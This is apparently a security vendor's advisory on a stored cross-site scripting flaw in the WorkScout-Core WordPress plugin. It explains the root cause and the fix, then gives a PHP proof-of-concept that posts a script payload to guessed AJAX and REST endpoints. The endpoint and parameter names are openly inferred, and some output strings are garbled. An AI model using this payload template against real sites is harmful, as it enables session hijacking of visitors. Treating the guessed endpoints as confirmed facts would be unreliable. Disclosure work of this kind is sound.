Atomic Edge analysis of CVE-2025-67960 (metadata-based):
This vulnerability is an unauthenticated stored cross-site scripting (XSS) flaw in the WorkScout-Core WordPress plugin versions up to and including 1.7.06. The CVSS 7.2 score reflects a network-accessible attack with no privileges required, leading to stored script execution in victim browsers and scope changes affecting other application components.
The root cause is insufficient input sanitization and output escaping, as indicated by the CWE-79 classification. Atomic Edge research infers the plugin likely processes user-supplied input via a front-end form, AJAX endpoint, or REST API route without proper validation. The vulnerability description confirms the lack of sanitization but does not specify the exact vulnerable function or hook. This analysis concludes the flaw exists in a publicly accessible data handling routine.
Exploitation requires an attacker to submit a malicious payload containing JavaScript to a specific endpoint. Based on WordPress plugin patterns, the likely attack vector is a POST request to `/wp-admin/admin-ajax.php` with an action parameter referencing a WorkScout-Core AJAX handler (e.g., `action=workscout_core_action`). Alternatively, a REST API endpoint like `/wp-json/workscout/v1/…` could be involved. The payload would be stored in the database and later rendered unsanitized on a public page, executing when users visit that page.
Remediation requires implementing proper input validation and output escaping. The patched version 1.7.07 likely added `sanitize_text_field()` or similar WordPress sanitization functions to user input handling. Output escaping functions like `esc_html()` or `wp_kses()` were probably added to the rendering logic. Proper capability checks may also have been introduced to restrict access if the endpoint was incorrectly exposed.
Successful exploitation allows unauthenticated attackers to inject arbitrary JavaScript that executes in the context of authenticated users visiting the compromised page. This can lead to session hijacking, administrative actions performed by victims, defacement, or data exfiltration. The stored nature means a single injection affects all subsequent visitors until the malicious content is removed.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-67960 - WorkScout-Core <= 1.7.06 - Unauthenticated Stored Cross-Site Scripting
<?php
/**
* Proof of Concept for CVE-2025-67960.
* This script attempts to exploit the unauthenticated stored XSS vulnerability.
* The exact endpoint and parameter are inferred from WordPress plugin patterns.
* Two common attack vectors are tested: AJAX handler and REST API endpoint.
*/
$target_url = 'https://example.com'; // CHANGE THIS TO TARGET SITE
// Common XSS payload that triggers an alert and confirms execution
$payload = '<script>alert(document.domain)</script>';
// Test 1: AJAX handler endpoint (most common for plugin functionality)
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$ajax_data = [
'action' => 'workscout_core_action', // Inferred action name
'data' => $payload, // Injected parameter
'nonce' => '' // Nonce may not be required due to vulnerability
];
$ch = curl_init($ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $ajax_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "AJAX Test - HTTP Code: $http_coden";
if (strpos($response, 'error') === false && $http_code == 200) {
echo "Potential success. Check target page for XSS execution.n";
} else {
echo "AJAX endpoint may not be vulnerable or action name incorrect.n";
}
// Test 2: REST API endpoint (alternative vector)
$rest_url = $target_url . '/wp-json/workscout/v1/submit';
$rest_data = json_encode(['content' => $payload]);
$ch = curl_init($rest_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $rest_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
echo "REST API Test - HTTP Code: $http_coden";
if ($http_code == 200 || $http_code == 201) {
echo "REST endpoint may be vulnerable. Inspect response.n";
} else {
echo "REST endpoint not found or protected.n";
}
// Note: The exact parameter names and endpoint paths are inferred.
// Successful exploitation requires identifying the correct vulnerable endpoint.
// This PoC demonstrates the attack methodology, not a guaranteed exploit.
?>
